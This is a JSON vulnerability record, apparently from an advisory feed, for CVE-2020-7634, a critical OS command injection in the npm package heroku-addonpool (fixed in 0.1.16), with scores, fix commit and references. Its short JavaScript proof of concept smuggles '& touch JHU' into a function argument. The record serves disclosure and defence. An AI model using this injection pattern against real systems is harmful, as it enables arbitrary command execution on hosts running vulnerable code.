{"id":"CVE-2020-7634","aliases":[],"url":"https://o3.security/vulnerability/CVE-2020-7634","summary":"OS Command Injection in heroku-addonpool","details":"heroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function `HerokuAddonPool(id, app, opt)` can be controlled by users without any sanitization.\n\n**PoC**\n```js\nvar Root = require(\"heroku-addonpool\");\nvar root = Root(\"sss\", \"& touch JHU\", {});\nroot.setup();\n```","published":"2021-12-09T19:52:03Z","modified":"2026-03-13T22:11:30.333377Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":2,"affectedPackages":[{"ecosystem":"npm","name":"heroku-addonpool","fixedVersion":"0.1.16"}],"fix":{"url":"https://github.com/nodef/heroku-addonpool/commit/b1a5b316473ac92d783f3d54ee048d54082da38d","label":"nodef/heroku-addonpool@b1a5b31"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7634"},{"type":"WEB","url":"https://github.com/nodef/heroku-addonpool/commit/b1a5b316473ac92d783f3d54ee048d54082da38d"},{"type":"WEB","url":"https://github.com/nodef/heroku-addonpool/blob/master/index.js"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-HEROKUADDONPOOL-564428"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-03-13T22:11:30.333377Z"}}